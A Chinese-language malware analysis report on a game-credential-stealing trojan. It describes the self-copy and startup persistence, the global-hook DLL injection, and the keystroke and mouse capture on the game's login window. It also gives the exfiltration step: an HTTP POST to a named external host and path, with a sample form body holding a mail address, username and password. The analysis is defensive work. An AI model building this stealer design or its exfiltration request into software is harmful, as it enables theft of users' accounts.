Trojan/PSW.Jianghu.ak分析报告
作者:安子矜
邮箱:anzijin@sina.com
1. CUT_1.exe文件运行后生成两个HOOK_DLL.dll和Latent.exe两个文件,其中Latent.exe文件为CUT_1.exe的一个副本,这两个文件被保存在C:/Latent文件夹下面。并将Latent.exe文件加入启动项。
2. 系统启动后自动运行Latent.exe木马程序,在Latent文件夹下创建HOOK_DLL.dll、Latent.exe两文件,覆盖原有的文件。动态加载HOOK_DLL.dll文件调用其输出函数HookOn(具体过程是先运行HOOK_DLL.dll文件中DllMain部分代码,结束后运行HookOn代码)。
3. HookOn函数实现的主要功能是调用SetWindowsHook函数,挂一个全局的钩子,在钩子的回调函数中,并没有加入特殊代码,只是调用CallNextHook()函数,这部分代码的目的是将HOOK_DLL.dll文件注入到系统当前的所有进程中。
4. 一旦用户运行了江湖游戏的客户端程序Client.exe。Client.exe进程首先加载HOOK_DLL.dll动态连接库,调用HOOK_DLL.dll文件中的DllMain函数,函数的功能主要是判断加载它的模块是否是Client.exe。不是的话DllMain函数结束,跳转到函数结尾,回到调用它的exe文件继续执行。如果是的话,调用SetWindowsHook函数,挂一个钩子。
5. 在钩子的回调函数中实现了木马的主要功能。首先是监听100h和201h两个系统消息,具体定义为:
#define WM_KEYDOWN 0x0100
键盘消息
#define WM_LBUTTONDOWN 0x0201
单击鼠标左键发出的消息
6. 一旦截获相关系统消息:首先调用 GetComputerNameA函数获得计算机的名称,调用GetVersion获得当前操作系统的版本信息,并将这些信息转换成如WindowXp的字符串信息。并将以上信息保存。
7. 获得D3D Window窗口的句柄(调用FindWindow),及江湖游戏的用户登录窗口;调用GetWindowThreadProcessId函数获得该窗口所在进程的ID;调用OpenProcess获的进程句柄。调用GetCursorPos函数获得鼠标的位置;调用GetWindowRect获的窗口的位置结构体;判断鼠标是否在用户登录窗口上,是的话调用GetKeyboardType获得键盘的输入信息。并将信息保存。
8. 信息的发送。在信息发送部分,创建了一个新的线程来实现信息的对外发送:
(1)调用InternetOpen函数,初始化一个用户代理名称为MyApp的网络连接。
(2)调用InternetConnect函数,连接到一个HTTP服务器:
服务器的域名为:www.133598598.com;
端口号为:50h;
访问类型为:3--#define INTERNET_SERVICE_HTTP 3
(3)调用 HttpOpenRequestA函数,其中参数
lpszVerb指向字符串POST,表示向服务器发送信息。
lpszObjectName指向字符串/rxjh_mail/sendmail.asp,表示发送的目标对象的名称。
lpszVersion指向字符串HTTP/1.0,表示传输协议的版本信息。
lplpszAcceptTypes指向字符串Accept:*.*,表示接受文件的类型。
(4)调用HttpSendRequest函数实现信息发送功能。
lpszHeaders指向字符串Content_Type:application /x_www _form_urlencoded表示所要发送的信息头。
dwHeadersLength 的值为0x2fH,表示信息头字符串的长度。
lpOptional 指向字符串:
ToMail=yandong9426@163.com&User=anbcpp&Pass=123456&Role=剑客&Server=网通一区&WinName=YLMF&WinBanBen =WindowsX,表示要发送的信息。
dwOptionalLength的值为5d,表示所发送信息的长度。